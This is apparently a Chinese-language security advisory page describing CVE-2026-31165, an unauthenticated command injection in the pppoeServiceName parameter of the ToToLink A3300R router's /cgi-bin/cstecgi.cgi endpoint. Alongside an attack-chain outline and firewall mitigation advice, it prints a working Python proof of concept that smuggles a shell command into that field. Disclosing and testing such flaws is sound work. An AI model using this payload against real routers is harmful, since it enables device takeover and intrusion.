CVE-2026-31165 CVSS 6.5 中危

CVE-2026-31165 ToToLink A3300R 命令注入漏洞

披露日期: 2026-04-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31165

漏洞类型

命令注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ToToLink A3300R

漏洞概述

ToToLink A3300R路由器固件v17.0.0cu.557_B20221024版本中存在严重的命令注入漏洞。攻击者无需经过身份认证，即可利用该漏洞向目标设备的/cgi-bin/cstecgi.cgi接口发送恶意构造的数据包。具体而言，由于系统未对pppoeServiceName参数进行充分的安全过滤，攻击者可注入任意操作系统命令。成功利用此漏洞可能导致攻击者在受影响设备上执行未授权的代码，造成信息泄露或系统完整性受损。

技术细节

该漏洞根因在于ToToLink A3300R路由器固件中的Web管理接口`/cgi-bin/cstecgi.cgi`存在输入验证缺失。当设备处理PPPoE拨号配置相关的功能时，程序直接获取HTTP POST请求中的`pppoeServiceName`参数，并将其拼接到系统命令字符串中调用`system()`或类似函数执行。由于开发人员未对特殊字符（如`;`, `&`, `|`, `` ` ``）进行过滤，攻击者可以构造恶意的参数值来截断原有命令并追加任意指令。结合CVSS向量分析，该漏洞攻击复杂度低且无需用户交互，攻击者只需向目标发送特定数据包即可触发漏洞。成功利用后，攻击者可获得远程Shell权限，读取配置文件、修改网络设置或进一步植入持久化后门。

攻击链分析

STEP 1

侦察

攻击者扫描网络，识别出暴露在互联网上的ToToLink A3300R路由器设备。

STEP 2

漏洞利用

攻击者向目标设备的/cgi-bin/cstecgi.cgi端点发送特制的HTTP POST请求，在pppoeServiceName参数中注入恶意Shell命令。

STEP 3

命令执行

由于后端未过滤特殊字符，设备将攻击者提供的参数传递给系统Shell执行，从而运行恶意命令。

STEP 4

建立控制

攻击者执行下载恶意程序、开启后门端口或修改配置等操作，从而完全控制受害设备。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL of the vulnerable device
target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"

# Malicious payload to inject commands
# Example: Creating a file to verify command execution
payload = "; touch /tmp/poc_test"

# Headers usually required for the request
headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

# Data payload structure based on the vulnerability description
# The vulnerability is in the 'pppoeServiceName' parameter
data = {
    "topicurl": "PPPoe",
    "pppoeServiceName": payload
}

try:
    # Sending the malicious POST request
    response = requests.post(target_url, json=data, headers=headers, timeout=5)
    
    # Output the results
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

ToToLink A3300R v17.0.0cu.557_B20221024

防御指南

临时缓解措施

如果无法立即升级固件，建议用户通过防火墙规则阻止外部网络对路由器Web管理界面的访问，仅允许内网可信IP进行管理配置，并定期检查系统日志是否存在异常的命令执行记录。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表